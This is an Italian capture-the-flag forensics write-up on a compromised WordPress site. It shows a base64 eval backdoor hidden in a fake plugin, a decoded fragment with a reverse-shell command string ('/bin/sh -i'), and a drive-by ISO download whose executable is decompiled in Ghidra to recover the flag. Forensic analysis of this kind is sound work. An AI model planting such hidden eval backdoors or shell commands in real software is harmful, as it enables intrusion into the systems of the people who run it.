Allegati: forensics_fake_news.zip
Per risolvere questa challenge, innanzitutto, abbiamo verificato la versione di WordPress andando al percorso html/wp-includes/version.php
/**
* The WordPress version string.
*
* Holds the current version number for WordPress core. Used to bust caches
* and to enable development mode for scripts when running from the /src directory.
*
* @global string $wp_version
*/
$wp_version = '6.1.1';
A questo punto possiamo andare a scaricare l'archivio base. Eseguendo un diff check possiamo notare che sono stati aggiunti i seguenti files e le seguenti cartelle
┌──(exto㉿vm)-[~/Scrivania]
└─$ diff -rq html/ wordpress/
Solo in html/: .htaccess
Solo in html/: wp-blogs
Solo in html/: wp-config-docker.php
Solo in html/: wp-config.php
Solo in html/wp-content: cache
Solo in html/wp-content/plugins: plugin-manager
Solo in html/wp-content/themes: maintheme
Solo in html/wp-content: upgrade
Solo in html/wp-content: uploads
Andiamo ad analizzare la cartella plugin-manager
e possiamo notare che il file plugin-manager.php
contiene del codice interessante:
<?php
eval(base64_decode("c2V0X3RpbWVfbGltaXQgKDApOw...gIiRzdHJpbmdcbiI7Cgl9Cn0="));
?>
Che convertito diventa
...
$write_a = null;
$error_a = null;
$part1 = "HTB{C0m3_0n";
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
A questo punto andiamo a vedere anche gli altri files: è presente un'altra cartella denominata wp-blogs
che ha all'interno index.php
. Questo file sembra strano e contiene una funzione JavaScript che però non porta a nulla. Se rinominiamo il file in .html
e lo apriamo con Firefox noteremo che viene avviato un download, infatti viene scaricato il file official_invitation.iso
. Se scompattiamo questo file ISO vedremo che all'interno è presente un eseguibile chiamato official_invitation.exe
. Andiamo ad analizzarlo con Ghidra.
La funzione FUN_1400015ae
contiene delle variabili
void FUN_1400015ae(void)
{
longlong lVar1;
undefined8 *puVar2;
undefined8 local_d8;
undefined8 local_d0;
undefined8 local_c8;
undefined8 local_c0;
undefined2 local_b8;
undefined8 local_a8;
undefined8 local_a0;
undefined8 local_98;
undefined4 local_88;
undefined4 local_4c;
undefined2 local_48;
DWORD local_1c;
FUN_1400018b0();
puVar2 = (undefined8 *)&local_88;
for (lVar1 = 0xd; lVar1 != 0; lVar1 = lVar1 + -1) {
*puVar2 = 0;
puVar2 = puVar2 + 1;
}
local_88 = 0x68;
local_4c = 1;
local_48 = 0;
local_a8 = 0;
local_a0 = 0;
local_98 = 0;
local_1c = GetCurrentProcessId();
local_d8 = 0x315f3a3274726170;
local_d0 = 0x30745f7334775f74;
local_c8 = 0x745f643030675f30;
local_c0 = 0x7572745f33625f30;
local_b8 = 0x7d33;
FUN_140001530((longlong)&DAT_140003020,0x23f2c,(longlong)&local_d8,0x22);
FUN_1400016ac(local_1c);
do {
Sleep(50000);
} while( true );
}
In particolare, local_d8, local_d0, local_c8, local_c0, local_b8 compongono quelle che potrebbero essere le altre parti della flag. Convertite in stringhe sono rispettivamente
local_d8 = "1_:2trap"; // part2:_1
local_d0 = "0t_s4w_t"; // t_w4s_t0
local_c8 = "t_d00g_0"; // 0_g00d_t
local_c0 = "urt_3b_0"; // 0_b3_tru
local_b8 = "}3"; // 3}
E notiamo subito che se facciamo reverse delle stringhe e le concateniamo riusciamo a ottenere la flag.
HTB{C0m3_0n_1t_w4s_t00_g00d_t0_b3_tru3}